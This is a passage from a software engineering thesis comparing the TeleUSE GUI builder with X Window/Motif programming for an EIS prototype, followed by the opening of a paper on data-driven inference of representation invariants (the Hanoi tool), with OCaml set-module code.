Being a non-standard development environment and using propriety widget sets makes compatibility between TeleUSE generated code and other code an issue. 4.3 Next Phase in Development Essentially, developers who wish to change the functionality of the application must know two things: the set of rules and interface operations that apply to the application, and the syntax and semantics of the implementation language and any other implementation tools. The next phase of the project involves looking into the functional or operational changes shown in section 4.1, and accommodating them in the design and development of a newer version of EIS. In Prototype 1 EIS subsystems other than the GUI are more or less ignored. Thus concerns related to integrating other subsystems with the GUI have not been taken into consideration. Incorporating these other subsystems of the EIS will cause some GUI specification changes, as the designer looks at details of managing a local state sufficient to allow correct display and interpretation of specific EIS operations. That is, once the GUI determines what operation is invoked, it must forward an operation request to another subsystem, like the Object Management Engine, for actual interpretation. For example, a class hierarchy may be represented in different forms or states for different subsystems. The GUI needs a state optimized for display, the OME uses a state to support object manipulation operations, and the ODBM uses a form for storage and retrieval operations. The first prototype ignores operational criteria for all the subsystems, looking only at broad functional goals. Consequently the first GUI subsystem cannot be easily integrated with other subsystems. The emphasis of prototype 1 is on the basic tools that is used to develop the GUI, and it's structure. Its objective of providing with a “shell” of windows and buttons gives users a chance to visualize the user interface. Because the new GUI would require changes in both window appearance and window dynamics, extensive change to the TeleUSE base and Visual Programming is required. However after evaluation of the tool presented in section 4.2, a need to look at other options for continued development of the system becomes quite obvious. This software development process has now come to a point where a decision must be made whether to continue to use the GUI generator or change to some other development methods. Once the decision is made, some sort of planning must follow to determine what additional development or training steps need to be taken. This section looks at two options using some predefined factors and its impact on developers. One option is to use TeleUSE; and the other is to switch to the use of standard X Window Programming The basic approach using an interface builder like TeleUSE is that it assists developers in organizing the information, selecting appropriate interface object classes and their attributes, and placing selected interface objects in a dialog box or a menu in a meaningful, logical, and consistent manner. In contrast, the X Windows programming environment provides an elegant and extensive set of low level graphics and windowing utilities, along with higher level X-based libraries. Thus you can program in X via low- level Xlib calls, the X Intrinsic toolkit, and high-level widget display objects as provided by the Athena, Motif and Andrew toolkits. Most X applications are written in one of the higher level widget-based toolkits, as writing applications in Xlib is tedious. Following are some of the factors that are used to evaluate the use of TeleUSE vs. X. Factor 1 - Cost analysis: This defines the cost of learning a development tool and producing the requisite software product. Developing a GUI application requires developers to learn multiple languages. A layout language is used to program the layout of the interface. The dialog control is programmed in a dialog language (typically an event language). The semantics of the application are programmed in a general purpose programming language (e.g. C or C++). In both options, the bulk of the application code is written using a general purpose programming language. Also, both these options adhere to an object-oriented paradigm to deal with the complexity of user interface software. Once the learning process is done, the next step involves coding time and coding costs. Coding costs includes initial development costs, extensibility costs, maintenance costs, etc. There is also a cost for licensing the tool itself. In TeleUSE, the layout is built using visual programming and the dialog is implemented using a dialog scripting language called ‘D’ scripts. This tool can also generate the user interface as Motif UIL code or as C code. Thus, TeleUSE requires learning the tool itself, the concept of visual programming and how it generates interface code, its specific dialog scripting language, knowledge of X, UIL and C or C++. TeleUSE requires less initial coding time, because of the visual programming mechanism that helps in developing the layout component of the user interface and the dialog management that requires very few lines of code. However, TeleUSE may require more learning time because it has more tools the developer must master. Though TeleUSE has less initial development costs, lack of good extensibility and difficult maintenance of generated code increases the overall coding time and costs. In X window programming, arranging of widgets for the layout component and the dialog management requires writing code in X, user interface language (UIL) and/or programming in C or C++ using high level widget objects. The dialog management uses callbacks via eventhandlers to interface with the application code. Thus programming in X requires learning each of these languages. Initial coding takes longer because the presentation component and the dialog management is all done by writing code, as opposed to generating code in TeleUSE. However, because most of the code is written by the developer and requires no mastering of special tools, overall coding time and costs for extensibility and maintenance are low. **Factor 2 - Maintenance of the code:** This defines the ease with which the software can be extended or contracted to satisfy new requirements or can be corrected when errors or deficiencies are detected. Thus, for the code to be easy to maintain, it should be easy to understand, and modify. TeleUSE generates code from the Visual Programming and the D scripts, adding considerable complexity. It also includes TeleUSE specific libraries that are not accessible. While this may make the code easy to generate, it also makes understanding and modifying the code hard. Coding correctness is based on how well the visual component and the dialog management code is converted using the interface builder provided by TeleUSE. The dialog management requires knowledge of a specific scripting language and its correctness is based on how well the developer understands the special scripting language. X Window programming on the other hand makes the difficulty of maintenance roughly the same as original development, as the structure and libraries used in the code are relatively standard across applications. For X, the correctness is completely based on the capabilities and experience of the developer in using standard libraries, languages and the user interface software. **Factor 3 - Exploratory and incremental programming:** Since there is a lack of a good set of rules to develop a complete interface from design in one cycle of development, several iterations of prototypes and refinements are necessary. This factor defines the feasibility of this kind of programming. Exploratory and incremental programming are very important in interface development. Given the need for iteration, it would be desirable to have an interpretive language so that programs can be written and tested without experiencing compiler delays. TeleUSE provides this concept of interpreter. Once the final interface is developed, it also allows the programs to be compiled. At compile time, TeleUSE requires X, Motif libraries, toolkit libraries, TeleUSE specific libraries and other system libraries. Programming in X requires compiling of the programs to iterate through the development process. At compile time, X Window Programming requires X, Motif, toolkit libraries and other system libraries. **Factor 4 - Limitations of the developed product:** This characterizes the deficiencies in the final product in terms of capabilities, compatibilities, system requirements, etc. Being a non-standard GUI development environment, TeleUSE requires a specific porting kit to port to other platforms. Also, with so many UIMS (User Interface Management System) tools in the market, the chance that the TeleUSE vendor continues to develop and maintain future versions of the tool is a risk that a developer has to weigh against a standard development environment like X Window programming. Finally, the main shortcoming of interface builders like TeleUSE is their inability to specify interfaces for objects that change at run time. Interface builders are excellent for constructing dialog boxes containing menus, buttons, sliders and other such widgets, provided that all the widget instances to be displayed are known at design time. For instance, the number of radio buttons in a group and their labels must be known at design time so the developer can arrange them on the screen as they are going to look to the end user. However if the set of choices is determined at run time, it is impossible at design time to specify the labels and the position of the buttons in a WYSIWYG editor like TeleUSE. The impact, in case there is a need for run time interface objects is to refine or edit generated code produced by interface builder to include this capability. In contrast a GUI built with X window programming is relatively standard software that allows the application to be portable across a variety of UNIX platforms. There is no limitation on the ability to specify interfaces for objects that change at run time. Factor 5 - Configurability of the UI part: This defines the capability to configure the GUI. Very often the end-users want to customize their screens to have a different look. These changes can be as simple as the color used for their screens or different menus, labels, or extend to individual differences related to cultural, ethnic, racial or linguistic backgrounds. Some of the examples include creating dialogs that use names and titles (Mr., Ms, Sir, Dr., etc.), different date and time formats, etiquette, tone and formality for interactions, etc. The concept of configurability clashes with the concept of consistency for user interface software. However, because the purpose of the software is to attract novice, knowledgeable, and expert users, there needs to be a healthy balance of both concepts. TeleUSE lacks a way to easily embed this concept of configuration of the user interface. On the other hand, X window programming allows this capability. After understanding these factors associated with each option, a decision can be made on the prototyping tool that is used to develop the next GUI. Development in X has less long term learning costs when a sequence of implementors is considered. For example, both development methods require knowledge of X. TeleUSE use requires that each developer understand the tool and learn a new scripting language, which adds to the learning process. Using X, the software developed has lower coding time, and also lower costs for future maintenance and extensibility. This is because the programming languages and libraries used are standard in the software industry. There is a much better chance of getting already trained and experienced developers for present and future iterations of development. The TeleUSE objective is rapid prototyping through visual programming, concise dialog scripting language and incremental programming using interpretive language. Since in TeleUSE the interface code is generated from layout language definitions provided by the developer and a similar generation of code is done from dialog scripting language, the code is possibly better optimized. But the impact is minimal for present computers with better processor speeds and cheap memory. So with an emphasis on developing the GUI with the least overall learning and coding costs, better maintenance, standard development environment, and long term portability, using the X window programming becomes an obvious choice. UI development is a high-risk business. To reduce risk, proper planning and development should be discussed. This helps to develop expertise, pointing out errors and limitations early. The developer can then concentrate on better approaches to development of this product and avoid making preliminary arbitrary decisions. This chapter discusses how the decision to switch to X impacts planning of the next spiral of development, in terms of various factors that are associated with them thereby entering quadrant 1 of a new spiral. At the end, this chapter emphasizes the importance of studying a software development life-cycle. 5.1 Quadrant 1 for this GUI development Section 4.3 reviews a list of factors and compares the two options (TeleUSE vs. X) with respect to the factors. This section concentrates on systematically using these factors to plan on what needs to be done for each factor to get ready to proceed. Following are the impacts on planning for switching to X. Factor 1 - Cost analysis: Switching from TeleUSE to X/Motif programming requires use of X, C, and/or UIL. The cost of learning these should be minimal, as all are standard and known, and required for effective use of TeleUSE anyway. Before recoding, the system should be first divided into conceptually understandable modules. The modules should be arranged in a hierarchical order dictating how modules can be invoked and how they interact with one another. Second, the developer should investigate the common library routines and existing production modules that perform functions similar to those required. The impact is that initial recoding costs are high, because the next prototype development needs to be done from scratch, and parts such as the presentation component and the dialog management code may have to be completely redesigned. Factor 2 - Maintenance of the Code: X uses a logical object-oriented paradigm to reduce the complexity of the user interface software. However to provide better maintainability and extensibility of the code, thorough planning and analysis of specifications need to be done to clearly separate the interface component, the dialog component and the application code. Also, the modules that make up these three components should allow the ability to change. Considering change possibilities helps the developer evaluate the degree of generality versus flexibility to be designed into the system. Generality allows a system to be used for a variety of changing functions without introducing modifications, while flexibility allows the system to be modified easily. An effective approach should include appropriate degree of both, and provide code that is relatively easy to maintain. Following are some of the general guidelines that should be used to guide the coding phase: 1. Use high-level programming languages wherever feasible. 2. Use only standard features of a programming language. 3. Limit the number of files each component accesses. 4. Document source code to explain the function that each module is to perform and choose descriptive data and procedure names. 5. Avoid hard-coded parameters. 6. Limit the size of the modules and write code that is readable, reliable and complies with coding standards. **Factor 3 - Exploratory and incremental programming**: Component specifications are required to describe how software requirements are to be met. Specifications should include definitions for input/output formats, data structures, functional components and interfaces with other subsystems. The designer must use the specifications to identify subsets of functional and data structure components that are initially required and those that are required at later phase. The design and development should proceed in explicit steps. As little as possible should be decided at each step, and attempts should be made to make the easiest decisions first. For example, the designer should start with the presentation component of the GUI, make sure the layout of interface objects is done properly and according to the design, then proceed with the dialog management component and application code. **Factor 4 - Limitations of the developed product**: Programming in X ensures a high degree of standardization of the user software developed. This includes common user interface features across multiple applications. It also helps users learn applications quickly. However, developing a product using X and Motif standards clashes with the look and feel of other popular interface standards like Microsoft Windows or Apple’s interface. Arranging for portability becomes a challenge for developers if the system is required to use different user interfaces standards across multiple software and hardware environments. **Factor 5 - Configurability of the UI part:** Programming in X allows for the option of configurability of screens, fonts, colors, labels, menus, etc. provided proper design is done well ahead to accommodate user customizations. After planning and evaluating the current EIS based on the factors above, development of the second version of EIS can be done using X-Window and the OSF/Motif widget set. This development is not described in detail here, though several key factors are mentioned. One of the major requirements is development of a tree widget class. Other key components are further development of other subsystems, like the OME, ORB etc. The complete new EIS system depends on these key aspects. This project reviews only the GUI components, with a thorough evaluation of both the operations and prototyping tools that have evolved over time. 5.2 Conclusions It is important to note that, by focusing on the visual component and using a commercially available GUI builder, prototype 1 gives developers a way to rapidly get early user input on visual layouts of buttons and windows and assess the usability of the interface development tools. This development is achieved rapidly and with minimum labor costs. It translates a basic EIS framework into an implementation model that helps users see the proposed EIS system as a software tool. The developers better understand the process of GUI prototyping along with the methods of achieving it. A complex subsystem like the GUI needs to start small to give the users and developers an easier way to conceptualize. It also provides a stepping stone for further iterative process of design and development. However, difficulties arise when a developer tries to reorganize the content or change the application interface object, especially when this process is cumbersome. Costs escalate, if a new development team is required to prototype, because prototyping process involves learning complex tools. Also a traditional problem facing UI development methodologies has been how to fit them in practical development life cycles. Bohem’s spiral model, with it associated concept of risk emphasis, defines a pathway by which UI design concerns and methods can be incorporated into a larger system development methodology. Taking it a step further, this approach gives a lot of relevance to everyday, real world software projects. We have a great deal to learn about producing and supporting well-engineered, useful software. Users are frustrated and antagonized by the introduction of software products that are difficult to use and that do not work as expected. Software engineers are at loss to understand why one project succeeds and the next one fails. Recording and studying software project case histories must become a required component of the software industry. We must recognize software engineering as an applied, and not a theoretical discipline. Defining software engineering principles and methodologies is only the first step. We must also evaluate their utility in practice. A major problem blocking software development methods is the lack of reported software project case histories. The methodology used in early EIS development process, especially for UI development is a good case study for using principles to work in practice in trying to improve the software development life cycle. Rapidly developing a prototype for an application program that is hard to conceptualize is a good first step. This enhances communication about the proposed application program as a prototype creates a common baseline or reference point from which potential problems and opportunities are identified. Users tend to be more enthusiastic with a project in which they are involved through the use and evaluation of prototypes. It seems that users are very good at criticizing an existing system (i.e., a prototype) but are not usually good at anticipating or articulating needs. The earliest version that users can experiment with, whether prototype or real product, can cause them to change their view about what they want the system to do. With this concept in mind, the best option a developer can use is to do prototyping at an early stage and not spend all the resources in developing a final product that may or may not be the one users want. Boehm explains that fundamental to the process of producing quality software is a commitment on the part of the software developer to continually seek ways in which to improve the software product and its production. This project uses a software development process model, like the Bohem’s spiral model with emphasis on evaluation as a valuable feedback, for several reasons. First, it gives the developer feedback on the initial perception of software quality. This feedback will help reinforce the notion that the quality of software does not entirely lie in its form, but also in its utility, maintainability, etc. Second, it is useful to the developer in planning future development efforts. It could point out the shortcomings in this product or the tool used to develop this product. Third, it can be used as a learning tool to help developers better understand what it takes to get a better approach in development of a software product. BIBLIOGRAPHY Myers, Brad A. Languages for Developing User Interfaces, Jones and Bartlett Publishers, 1992.
{"Source-Url": "https://scholarworks.umt.edu/cgi/viewcontent.cgi?referer=&httpsredir=1&article=6156&context=etd", "len_cl100k_base": 14669, "olmocr-version": "0.1.53", "pdf-total-pages": 56, "total-fallback-pages": 0, "total-input-tokens": 90346, "total-output-tokens": 16787, "length": "2e13", "weborganizer": {"__label__adult": 0.000453948974609375, "__label__art_design": 0.0008411407470703125, "__label__crime_law": 0.00026154518127441406, "__label__education_jobs": 0.00308990478515625, "__label__entertainment": 8.368492126464844e-05, "__label__fashion_beauty": 0.00022041797637939453, "__label__finance_business": 0.0002968311309814453, "__label__food_dining": 0.0003452301025390625, "__label__games": 0.0008425712585449219, "__label__hardware": 0.00083160400390625, "__label__health": 0.0002353191375732422, "__label__history": 0.00030517578125, "__label__home_hobbies": 0.00010138750076293944, "__label__industrial": 0.00033593177795410156, "__label__literature": 0.0003719329833984375, "__label__politics": 0.00024044513702392575, "__label__religion": 0.0004057884216308594, "__label__science_tech": 0.0027141571044921875, "__label__social_life": 8.213520050048828e-05, "__label__software": 0.003566741943359375, "__label__software_dev": 0.9833984375, "__label__sports_fitness": 0.00029921531677246094, "__label__transportation": 0.0004897117614746094, "__label__travel": 0.0001786947250366211}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 78267, 0.01909]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 78267, 0.76526]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 78267, 0.90879]], "google_gemma-3-12b-it_contains_pii": [[0, 774, false], [774, 1231, null], [1231, 1231, null], [1231, 1513, null], [1513, 1513, null], [1513, 1852, null], [1852, 3781, null], [3781, 5338, null], [5338, 6812, null], [6812, 8310, null], [8310, 9669, null], [9669, 11368, null], [11368, 13065, null], [13065, 13074, null], [13074, 14636, null], [14636, 16207, null], [16207, 17389, null], [17389, 19210, null], [19210, 21048, null], [21048, 22892, null], [22892, 24439, null], [24439, 26131, null], [26131, 27787, null], [27787, 29375, null], [29375, 31647, null], [31647, 33255, null], [33255, 34996, null], [34996, 36704, null], [36704, 38301, null], [38301, 38922, null], [38922, 40576, null], [40576, 42120, null], [42120, 43380, null], [43380, 44414, null], [44414, 45880, null], [45880, 47424, null], [47424, 48826, null], [48826, 50389, null], [50389, 52125, null], [52125, 53659, null], [53659, 55036, null], [55036, 56775, null], [56775, 58482, null], [58482, 60132, null], [60132, 61701, null], [61701, 63233, null], [63233, 64975, null], [64975, 66736, null], [66736, 68221, null], [68221, 69835, null], [69835, 71388, null], [71388, 72882, null], [72882, 74546, null], [74546, 76230, null], [76230, 76753, null], [76753, 78267, null]], "google_gemma-3-12b-it_is_public_document": [[0, 774, true], [774, 1231, null], [1231, 1231, null], [1231, 1513, null], [1513, 1513, null], [1513, 1852, null], [1852, 3781, null], [3781, 5338, null], [5338, 6812, null], [6812, 8310, null], [8310, 9669, null], [9669, 11368, null], [11368, 13065, null], [13065, 13074, null], [13074, 14636, null], [14636, 16207, null], [16207, 17389, null], [17389, 19210, null], [19210, 21048, null], [21048, 22892, null], [22892, 24439, null], [24439, 26131, null], [26131, 27787, null], [27787, 29375, null], [29375, 31647, null], [31647, 33255, null], [33255, 34996, null], [34996, 36704, null], [36704, 38301, null], [38301, 38922, null], [38922, 40576, null], [40576, 42120, null], [42120, 43380, null], [43380, 44414, null], [44414, 45880, null], [45880, 47424, null], [47424, 48826, null], [48826, 50389, null], [50389, 52125, null], [52125, 53659, null], [53659, 55036, null], [55036, 56775, null], [56775, 58482, null], [58482, 60132, null], [60132, 61701, null], [61701, 63233, null], [63233, 64975, null], [64975, 66736, null], [66736, 68221, null], [68221, 69835, null], [69835, 71388, null], [71388, 72882, null], [72882, 74546, null], [74546, 76230, null], [76230, 76753, null], [76753, 78267, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 78267, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 78267, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 78267, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 78267, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 78267, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 78267, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 78267, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 78267, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 78267, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 78267, null]], "pdf_page_numbers": [[0, 774, 1], [774, 1231, 2], [1231, 1231, 3], [1231, 1513, 4], [1513, 1513, 5], [1513, 1852, 6], [1852, 3781, 7], [3781, 5338, 8], [5338, 6812, 9], [6812, 8310, 10], [8310, 9669, 11], [9669, 11368, 12], [11368, 13065, 13], [13065, 13074, 14], [13074, 14636, 15], [14636, 16207, 16], [16207, 17389, 17], [17389, 19210, 18], [19210, 21048, 19], [21048, 22892, 20], [22892, 24439, 21], [24439, 26131, 22], [26131, 27787, 23], [27787, 29375, 24], [29375, 31647, 25], [31647, 33255, 26], [33255, 34996, 27], [34996, 36704, 28], [36704, 38301, 29], [38301, 38922, 30], [38922, 40576, 31], [40576, 42120, 32], [42120, 43380, 33], [43380, 44414, 34], [44414, 45880, 35], [45880, 47424, 36], [47424, 48826, 37], [48826, 50389, 38], [50389, 52125, 39], [52125, 53659, 40], [53659, 55036, 41], [55036, 56775, 42], [56775, 58482, 43], [58482, 60132, 44], [60132, 61701, 45], [61701, 63233, 46], [63233, 64975, 47], [64975, 66736, 48], [66736, 68221, 49], [68221, 69835, 50], [69835, 71388, 51], [71388, 72882, 52], [72882, 74546, 53], [74546, 76230, 54], [76230, 76753, 55], [76753, 78267, 56]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 78267, 0.13636]]}
olmocr_science_pdfs
2024-12-08
2024-12-08
9e865030637b8600e8ae88014ad774a5904300a9
[REMOVED]
{"len_cl100k_base": 13795, "olmocr-version": "0.1.53", "pdf-total-pages": 25, "total-fallback-pages": 0, "total-input-tokens": 74052, "total-output-tokens": 17443, "length": "2e13", "weborganizer": {"__label__adult": 0.00029468536376953125, "__label__art_design": 0.0002970695495605469, "__label__crime_law": 0.00022518634796142575, "__label__education_jobs": 0.0004298686981201172, "__label__entertainment": 6.157159805297852e-05, "__label__fashion_beauty": 0.00012052059173583984, "__label__finance_business": 0.00021827220916748047, "__label__food_dining": 0.00022614002227783203, "__label__games": 0.00048732757568359375, "__label__hardware": 0.0011281967163085938, "__label__health": 0.0002390146255493164, "__label__history": 0.0002168416976928711, "__label__home_hobbies": 6.562471389770508e-05, "__label__industrial": 0.00025582313537597656, "__label__literature": 0.00019657611846923828, "__label__politics": 0.00019729137420654297, "__label__religion": 0.00030159950256347656, "__label__science_tech": 0.01364898681640625, "__label__social_life": 6.771087646484375e-05, "__label__software": 0.006664276123046875, "__label__software_dev": 0.97412109375, "__label__sports_fitness": 0.00019407272338867188, "__label__transportation": 0.0003960132598876953, "__label__travel": 0.00016891956329345703}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 74729, 0.04362]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 74729, 0.25256]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 74729, 0.84539]], "google_gemma-3-12b-it_contains_pii": [[0, 2844, false], [2844, 4959, null], [4959, 9726, null], [9726, 14012, null], [14012, 18321, null], [18321, 22390, null], [22390, 25295, null], [25295, 28502, null], [28502, 31973, null], [31973, 34714, null], [34714, 38291, null], [38291, 41196, null], [41196, 45741, null], [45741, 46804, null], [46804, 47757, null], [47757, 52298, null], [52298, 55509, null], [55509, 58947, null], [58947, 59821, null], [59821, 62719, null], [62719, 64987, null], [64987, 69453, null], [69453, 74363, null], [74363, 74363, null], [74363, 74729, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2844, true], [2844, 4959, null], [4959, 9726, null], [9726, 14012, null], [14012, 18321, null], [18321, 22390, null], [22390, 25295, null], [25295, 28502, null], [28502, 31973, null], [31973, 34714, null], [34714, 38291, null], [38291, 41196, null], [41196, 45741, null], [45741, 46804, null], [46804, 47757, null], [47757, 52298, null], [52298, 55509, null], [55509, 58947, null], [58947, 59821, null], [59821, 62719, null], [62719, 64987, null], [64987, 69453, null], [69453, 74363, null], [74363, 74363, null], [74363, 74729, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 74729, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 74729, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 74729, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 74729, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 74729, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 74729, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 74729, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 74729, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 74729, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 74729, null]], "pdf_page_numbers": [[0, 2844, 1], [2844, 4959, 2], [4959, 9726, 3], [9726, 14012, 4], [14012, 18321, 5], [18321, 22390, 6], [22390, 25295, 7], [25295, 28502, 8], [28502, 31973, 9], [31973, 34714, 10], [34714, 38291, 11], [38291, 41196, 12], [41196, 45741, 13], [45741, 46804, 14], [46804, 47757, 15], [47757, 52298, 16], [52298, 55509, 17], [55509, 58947, 18], [58947, 59821, 19], [59821, 62719, 20], [62719, 64987, 21], [64987, 69453, 22], [69453, 74363, 23], [74363, 74363, 24], [74363, 74729, 25]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 74729, 0.06154]]}
olmocr_science_pdfs
2024-12-07
2024-12-07
9bca23feb5cc20ad55549c8353a23322f062daa3
Data-Driven Inference of Representation Invariants Anders Miltner Princeton University Princeton, NJ, USA amiltnr@cs.princeton.edu Saswat Padhi UCLA Los Angeles, CA, USA padhi@cs.ucla.edu Todd Millstein UCLA Los Angeles, CA, USA todd@cs.ucla.edu David Walker Princeton University Princeton, NJ, USA dpw@cs.princeton.edu Abstract A representation invariant is a property that holds for all values of abstract type produced by a module. Representation invariants play important roles in software engineering and program verification. In this paper, we develop a counterexample-driven algorithm for inferring a representation invariant that is sufficient to imply a desired specification for a module. The key novelty is a type-directed notion of visible inductiveness, which ensures that the algorithm makes progress toward its goal as it alternates between weakening and strengthening candidate invariants. The algorithm is parameterized by an example-based synthesis engine and a verifier, and we prove that it is sound and complete for first-order modules over finite types, assuming that the synthesizer and verifier are as well. We implement these ideas in a tool called Hanoi, which synthesizes representation invariants for recursive data types. Hanoi not only handles invariants for first-order code, but higher-order code as well. In its back end, Hanoi uses an enumerative synthesizer called Myth and an enumerative testing tool as a verifier. Because Hanoi uses testing for verification, it is not sound, though our empirical evaluation shows that it is successful on the benchmarks we investigated. CCS Concepts: • Software and its engineering → Software verification and validation; • Theory of computation → Invariants. 1 Introduction A representation invariant is a property that holds for all values of abstract type produced by a module. For instance, a module that implements a set using a list might maintain a no duplicates or is sorted invariant over the lists. Module implementers can rely on the invariant for correctness and efficiency and must ensure that it is maintained by each function in the module. Making representation invariants explicit has a number of software engineering benefits: they can be used as documentation, dynamically checked as contracts [9, 16], and used for automated testing [3, 6]. Representation invariants also play a key role in modular verification of software components. Consider a module that implements sets; its specification \( \phi \) might demand that \( \text{lookup} \ (\text{insert} \ s \ i) = i \) return true for all sets \( s \) and items \( i \). A standard way to prove such a specification [1] is in two steps: 1) prove that a predicate \( I \) is a representation invariant of the module; and 2) prove that \( I \) is stronger than \( \phi \), i.e., all module states that satisfy \( I \) also satisfy \( \phi \). In other words, modular verification can be reduced to the problem of synthesizing a sufficient representation invariant. In this paper, we develop an approach to automatically infer a sufficient representation invariant given a pure, functional module and a specification. To our knowledge, the only prior work to tackle this problem [15] builds candidate invariants out of a fixed set of atomic predicates and provides no correctness guarantees. We address both of these limitations through a form of counterexample-guided inductive synthesis (CEGIS) [28, §5], which consists of an interaction. between two black-box components: (1) a synthesizer that generates a candidate invariant consistent with given sets of positive and negative examples, (2) a verifier that either proves that a candidate is a sufficient representation invariant or produces a counterexample, which becomes a new example for the synthesizer. Our approach is inspired by recent work in data-driven inference of inductive invariants in other settings [7, 21, 25, 31]. As in that work, a key challenge is how to handle inductiveness counterexamples, pairs of module states \(<s, s'>\) such that \(s\) satisfies the candidate invariant, some module operation transforms state \(s\) to state \(s'\), but \(s'\) does not satisfy the candidate invariant. The problem is that there are two ways to resolve such counterexamples and it is not clear which is correct: treat \(s\) as a new negative example or treat \(s'\) as a new positive example. We observe that if \(s\) is a constructible state of the module, meaning that it is reachable by a sequence of module operations, then \(s'\) must be as well. Therefore, any representation invariant will include both states, so we must treat \(s'\) as a new positive example. Based on this observation, we define a candidate invariant \(I\) to be visibly inductive on a module relative to a set \(S\) of known constructible states if every module operation produces a state satisfying \(I\) when invoked from a state in \(S\). For each candidate invariant, we first iteratively weaken it until it is visibly inductive relative to the current set of known constructible states, in the process adding new states to this set, and only then do we consider other inductiveness violations. Intuitively, this approach eagerly identifies and exploits inductiveness counterexamples for which no “guessing” is required. We have formalized a general notion of inductiveness as a type-indexed logical relation, of which both our notion of visible inductiveness and the traditional notion of (full) inductiveness are special cases. We have also formalized our overall algorithm using this notion. We have proven the algorithm sound and complete when the module contains first-order code and the implementation of the abstract type is a finite domain, provided the underlying synthesizer and verifier are also sound and complete. We have implemented our algorithm in OCaml and call the resulting tool Hanoi. To instantiate the synthesis component of the system, we use Myth [20], a type- and example-directed synthesis engine. Myth is capable of synthesizing invariants over recursive data types in many cases, so it is a good fit for tackling proofs about modules that implement recursive data types, which are the focus of our benchmarks. To instantiate the verification component, we use a form of enumerative test generation. Despite the unsoundness of this underlying verifier, our experimental results show that Hanoi still infers sufficient representation invariants in practice. Such likely representation invariants can be used by module implementers and verifiers for many purposes. We have also implemented extensions that allow Hanoi to be used with higher-order code. Here, the main challenge comes in how to extract counterexamples from higher-order arguments. It turns out that our first-order scheme for extracting counterexamples is essentially an application of a first-order contract that guards and logs values passing through the first-order interface. The solution to counterexample-extraction from higher-order code then is to implement higher-order contracts [9] that guard and log values across this higher-order interface. To evaluate our tools, we constructed a benchmark suite that includes 28 different modules, including a variety of modules over lists and trees, many drawn from Coq libraries and books [1]. We find that Hanoi is able to synthesize 22 of these invariants within 30 minutes. To summarize, the main contributions of this work are: - An algorithm for automated synthesis of representation invariants, parameterized by a verifier and synthesizer. - A formalization of the algorithm and the key notion of visible inductiveness, over a first-order type theory. We prove soundness and completeness in the case of finite domains, if the given verifier and synthesizer are sound and complete. - An extension of the algorithm capable of extracting counterexamples from higher-order interfaces. - Implementation, optimization and evaluation of a tool called Hanoi that synthesizes invariants over recursive data types, using an unsound, enumerative testing engine for verification. ## 2 A Motivating Example In this section, we give a high-level overview of Hanoi using an example. Consider the interface SET: ```ocaml module type SET = sig type t val empty : t val insert : t -> int -> t val delete : t -> int -> t val lookup : t -> int -> bool end ``` The interface declares an abstract type \(t\) and a number of functions that operate over \(t\). Figure 1 shows a module ListSet that implements the SET interface, using int list as the concrete type. We study the problem of verifying that ListSet satisfies some standard properties of sets. An example specification follows. \[ (q s) \triangleq \forall i : \text{int}. \\ \neg (\text{lookup empty} i) \land (\text{lookup (insert } s \ i \ i) ) \land \neg (\text{lookup (delete } s \ i \ i) ) \] module ListSet : SET = struct type t = int list let empty = [] let rec lookup l x = match l with | [] -> false | hd :: tl -> (hd = x) || (lookup tl x) let insert l x = if (lookup l x) then l else (x :: l) let rec delete l x = match l with | [] -> [] | hd :: tl -> if (hd = x) then tl | else hd :: (delete tl x)) end Figure 1. A module that implements SET using lists. Note that this specification does not hold for arbitrary integer lists. For example, \(\text{lookup} \ (\text{delete} \ [1;1 \ 1]) \ 1\) returns \text{true}. Nonetheless, the ListSet module is a correct implementation of the SET interface, because the specification holds for all values of the abstract type \(t\) that the module can actually construct. Such values are usually called the representations of the abstract type \(t\). To emphasize that such values can be constructed by execution of module operations, we say a value \(v\) is constructible at type \(t\) whenever a client with access to the module can produce \(v\) at the type \(t\). A standard approach [1] to prove that a module implementation satisfies such a specification is to identify a sufficient representation invariant. In our example, such an invariant for ListSet is a predicate \(I_s : (\text{int list} \rightarrow \text{bool})\) that is - sufficient for \(\phi\), i.e., \(\forall v : \text{int list}. \ (I_s \ v) \Rightarrow 